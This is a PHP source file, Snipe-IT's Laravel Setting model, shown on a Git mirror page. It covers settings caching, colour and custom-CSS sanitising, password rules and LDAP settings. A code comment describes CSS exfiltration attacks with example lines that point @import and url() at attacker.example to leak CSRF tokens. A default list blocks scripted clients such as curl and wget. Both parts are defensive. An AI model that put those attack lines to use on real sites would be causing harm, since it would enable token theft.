3
0
mirror of https://github.com/snipe/snipe-it.git synced 2026-08-18 11:15:42 +00:00
Files
snipe-it/app/Models/Setting.php
2026-08-13 16:30:03 -07:00

490 lines
14 KiB
PHP
Executable File
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<?php
namespace App\Models;
use App\Helpers\Helper;
use App\Rules\CssColor;
use Carbon\Carbon;
use Illuminate\Database\Eloquent\Casts\Attribute;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Notifications\Notifiable;
use Illuminate\Support\Collection;
use Illuminate\Support\Facades\App;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Log;
use Watson\Validating\ValidatingTrait;
/**
* Settings model.
*/
class Setting extends Model
{
use HasFactory;
use Notifiable, ValidatingTrait;
/**
* The cache property so that multiple invocations of this will only load the Settings record from disk only once
*/
public static ?self $_cache = null;
/**
* The setup check cache key name.
*
* @var string
*/
public const SETUP_CHECK_KEY = 'snipeit_setup_check';
/**
* Whether the model should inject it's identifier to the unique
* validation rules before attempting validation. If this property
* is not set in the model it will default to true.
*
* @var bool
*/
protected $injectUniqueIdentifier = true;
/**
* Model rules.
*
* @var array
*/
protected $rules = [
'brand' => 'required|min:1|numeric',
'thumbnail_max_h' => 'numeric|max:500|min:25',
'google_client_id' => 'nullable|ends_with:apps.googleusercontent.com',
];
protected $fillable = [
'site_name',
'email_domain',
'email_format',
'username_format',
'webhook_endpoint',
'webhook_channel',
'webhook_botname',
'google_login',
'google_client_id',
'google_client_secret',
'manager_view_enabled',
];
protected $casts = [
'label2_asset_logo' => 'boolean',
'require_checkinout_notes' => 'boolean',
'manager_view_enabled' => 'boolean',
'block_api_user_agents' => 'boolean',
'block_blank_api_user_agents' => 'boolean',
// tinyInteger with no cast was leaking 0 (int) into call sites that
// use loose-equality string checks like `== '1'` and `== ''`. Under
// PHP 8 `0 == ''` is false, so checks expecting "disabled" misfired.
// Normalize on read so every consumer sees a consistent string mode.
'two_factor_enabled' => 'string',
];
/**
* Suggested defaults for the "blocked API User-Agent patterns" textarea.
*
* Substrings (matched case-insensitively against the request's User-Agent)
* that identify common scripted or default HTTP clients. New installs see
* this list as the pre-filled textarea value; admins can add, remove, or
* blank it out entirely. Browser-driven AJAX (snipeit.js, datatables,
* select2, etc.) carries the browser's own User-Agent and is unaffected.
*/
public const DEFAULT_BLOCKED_API_USER_AGENTS = [
'curl/',
'wget/',
'python-requests/',
'python-urllib',
'PostmanRuntime/',
'insomnia/',
'Go-http-client/',
'okhttp/',
'HTTPie/',
'Apache-HttpClient/',
'Java/',
'Faraday',
'http.rb/',
'libwww-perl/',
'Ruby',
'node-fetch/',
'axios/',
'GuzzleHttp/',
'RestSharp/',
];
/**
* Get the app settings.
* Cache is expired on Setting model saved in EventServiceProvider.
*
* @author Wes Hulette <jwhulette@gmail.com>
*
* @since 5.0.0
*/
public static function getSettings(): ?self
{
if (! self::$_cache) {
// Need for setup as no tables exist
try {
self::$_cache = self::first();
} catch (\Throwable $th) {
return null;
}
}
return self::$_cache;
}
/**
* Check to see if setup process is complete.
* Cache is expired on Setting model saved in EventServiceProvider.
*/
public static function setupCompleted(): bool
{
try {
$usercount = User::withTrashed()->count();
$settingsCount = self::count();
return $usercount > 0 && $settingsCount > 0;
} catch (\Throwable $th) {
Log::debug('User table and settings table DO NOT exist or DO NOT have records');
// Catch the error if the tables dont exit
return false;
}
}
/**
* Get the current Laravel version.
*/
public function lar_ver(): string
{
$app = App::getFacadeApplication();
return $app::VERSION;
}
/**
* Get the default EULA text.
*/
public static function getDefaultEula(): ?string
{
if (self::getSettings()->default_eula_text) {
return Helper::parseEscapedMarkedown(self::getSettings()->default_eula_text);
}
return null;
}
/**
* Check wether to show in model dropdowns.
*
* @param string $element
*/
public function modellistCheckedValue($element): bool
{
$settings = self::getSettings();
// If the value is blank for some reason
if ($settings->modellist_displays == '') {
return false;
}
$values = explode(',', $settings->modellist_displays);
foreach ($values as $value) {
if ($value == $element) {
return true;
}
}
return false;
}
/**
* Escapes the custom CSS, and then un-escapes the greater-than symbol
* so it can work with direct descendant characters for bootstrap
* menu overrides like:.
*
* .skin-blue .sidebar-menu>li.active>a, .skin-blue .sidebar-menu>li:hover>a
*
* Important: Do not remove the e() escaping here, as we output raw in the blade.
*
* @author A. Gianotto <snipe@snipe.net>
*
* @return Attribute<string, mixed>
*/
protected function headerColor(): Attribute
{
return Attribute::make(
get: fn (?string $value) => CssColor::sanitize($value, '#3c8dbc'),
);
}
/**
* @return Attribute<string, mixed>
*/
protected function linkLightColor(): Attribute
{
return Attribute::make(
get: fn (?string $value) => CssColor::sanitize($value, '#296282'),
);
}
/**
* @return Attribute<string, mixed>
*/
protected function linkDarkColor(): Attribute
{
return Attribute::make(
get: fn (?string $value) => CssColor::sanitize($value, '#5fa4cc'),
);
}
/**
* @return Attribute<string, mixed>
*/
protected function navLinkColor(): Attribute
{
return Attribute::make(
get: fn (?string $value) => CssColor::sanitize($value, '#ffffff'),
);
}
public function show_custom_css(): string
{
$custom_css = self::getSettings()->custom_css;
if ($custom_css === null || $custom_css === '') {
return '';
}
// Superuser-planted CSS renders inside <style> on every layout for
// every other superuser, so the sanitize step has to hold up as a
// CSS filter, not just an HTML filter. Two abuse primitives to
// shut down:
//
// @import url("https://attacker.example/x.css") lets the planter
// load an unrestricted external stylesheet, which can then use
// attribute-selector rules (input[name="_token"][value^="a"]{...})
// to exfiltrate CSRF tokens character by character on every page
// load.
//
// background: url("https://attacker.example/?t=...") reaches the
// same primitive without @import as long as the value is any
// absolute or protocol-relative URL. Same-origin relative paths
// under /uploads/ etc. are fine for legit branding assets.
//
// strip_tags belt-and-braces guards against injection reaching a
// context that treats < as an HTML boundary. The old encode-then-
// selectively-decode chain silently undid its own work on > and "
// and did not touch either @import or url(), so it's gone.
$custom_css = strip_tags($custom_css);
$custom_css = preg_replace('/@import\s+[^;]*;?/i', '', $custom_css);
$custom_css = preg_replace_callback(
'/\burl\s*\(\s*([^)]*)\)/i',
function (array $match): string {
$value = trim($match[1], " \t\n\r\"'");
if ($value === '' || preg_match('#^(https?:)?//|^data:|^javascript:|^vbscript:#i', $value)) {
return '';
}
return $match[0];
},
$custom_css,
);
return $custom_css;
}
public function isQrEnabled(): bool
{
return $this->qr_code == '1' || $this->label2_2d_type !== 'none';
}
/**
* Converts bytes into human readable file size.
*
* @param string $bytes
* @return string human readable file size (2,87 Мб)
*
* @author Mogilev Arseny
*/
public static function fileSizeConvert($bytes): string
{
$result = 0;
$bytes = floatval($bytes);
$arBytes = [
0 => [
'UNIT' => 'TB',
'VALUE' => pow(1024, 4),
],
1 => [
'UNIT' => 'GB',
'VALUE' => pow(1024, 3),
],
2 => [
'UNIT' => 'MB',
'VALUE' => pow(1024, 2),
],
3 => [
'UNIT' => 'KB',
'VALUE' => 1024,
],
4 => [
'UNIT' => 'B',
'VALUE' => 1,
],
];
foreach ($arBytes as $arItem) {
if ($bytes >= $arItem['VALUE']) {
$result = $bytes / $arItem['VALUE'];
$result = round($result, 2).$arItem['UNIT'];
break;
}
}
return $result;
}
/**
* The url for slack notifications.
* Used by Notifiable trait.
*/
public function routeNotificationForSlack(): ?string
{
// At this point the endpoint is the same for everything.
// In the future this may want to be adapted for individual notifications.
return self::getSettings()->webhook_endpoint;
}
/**
* Get the mail reply to address from configuration.
*/
public function routeNotificationForMail(): ?string
{
// At this point the endpoint is the same for everything.
// In the future this may want to be adapted for individual notifications.
return config('mail.reply_to.address');
}
/**
* Get the password complexity rule.
*/
public static function passwordComplexityRulesSaving($action = 'update'): string
{
$security_rules = '';
$settings = self::getSettings();
// Check if they have uncommon password enforcement selected in settings
if ($settings->pwd_secure_uncommon == 1) {
$security_rules .= '|dumbpwd';
}
// Check for any secure password complexity rules that may have been selected
if ($settings->pwd_secure_complexity != '') {
$security_rules .= '|'.$settings->pwd_secure_complexity;
}
if ($action == 'update') {
return 'nullable|min:'.$settings->pwd_secure_min.$security_rules;
}
return 'required|min:'.$settings->pwd_secure_min.$security_rules;
}
/**
* Get the specific LDAP settings
*
* @author Wes Hulette <jwhulette@gmail.com>
*
* @since 5.0.0
*/
public static function getLdapSettings(): Collection
{
$ldapSettings = self::select(
[
'ldap_enabled',
'ldap_server',
'ldap_uname',
'ldap_pword',
'ldap_basedn',
'ldap_filter',
'ldap_username_field',
'ldap_lname_field',
'ldap_fname_field',
'ldap_auth_filter_query',
'ldap_version',
'ldap_active_flag',
'ldap_emp_num',
'ldap_email',
'ldap_server_cert_ignore',
'ldap_port',
'ldap_tls',
'ldap_pw_sync',
'is_ad',
'ad_domain',
'ad_append_domain',
'ldap_client_tls_key',
'ldap_client_tls_cert',
'ldap_default_group',
'ldap_dept',
'ldap_phone_field',
'ldap_jobtitle',
'ldap_manager',
'ldap_country',
'ldap_location',
]
)->first()->getAttributes();
return collect($ldapSettings);
}
/**
* For a particular cache-file, refresh it if the settings have
* been updated more recently than the file. Then return the
* full filepath
*/
public static function get_fresh_file_path($attribute, $path)
{
$full_path = storage_path().'/'.$path;
$file_exists = file_exists($full_path);
if ($file_exists) {
$statblock = stat($full_path);
}
if (! $file_exists || Carbon::createFromTimestamp($statblock['mtime']) < Setting::getSettings()->updated_at) {
if (Setting::getSettings()->{$attribute}) {
file_put_contents($full_path, Setting::getSettings()->{$attribute});
} else {
// this doesn't fire when you might expect it to because a lot of the time we do something like:
// if ($settings->ldap_client_tls_cert && ...
// so we never get a chance to 'uncache' the file.
if ($file_exists) {
unlink($full_path);
}
}
}
return $full_path;
}
/**
* Return the filename for the client-side SSL cert
*
* @var string
*/
public static function get_client_side_cert_path()
{
return self::get_fresh_file_path('ldap_client_tls_cert', 'ldap_client_tls.cert');
}
/**
* Return the filename for the client-side SSL key
*
* @var string
*/
public static function get_client_side_key_path()
{
return self::get_fresh_file_path('ldap_client_tls_key', 'ldap_client_tls.key');
}
}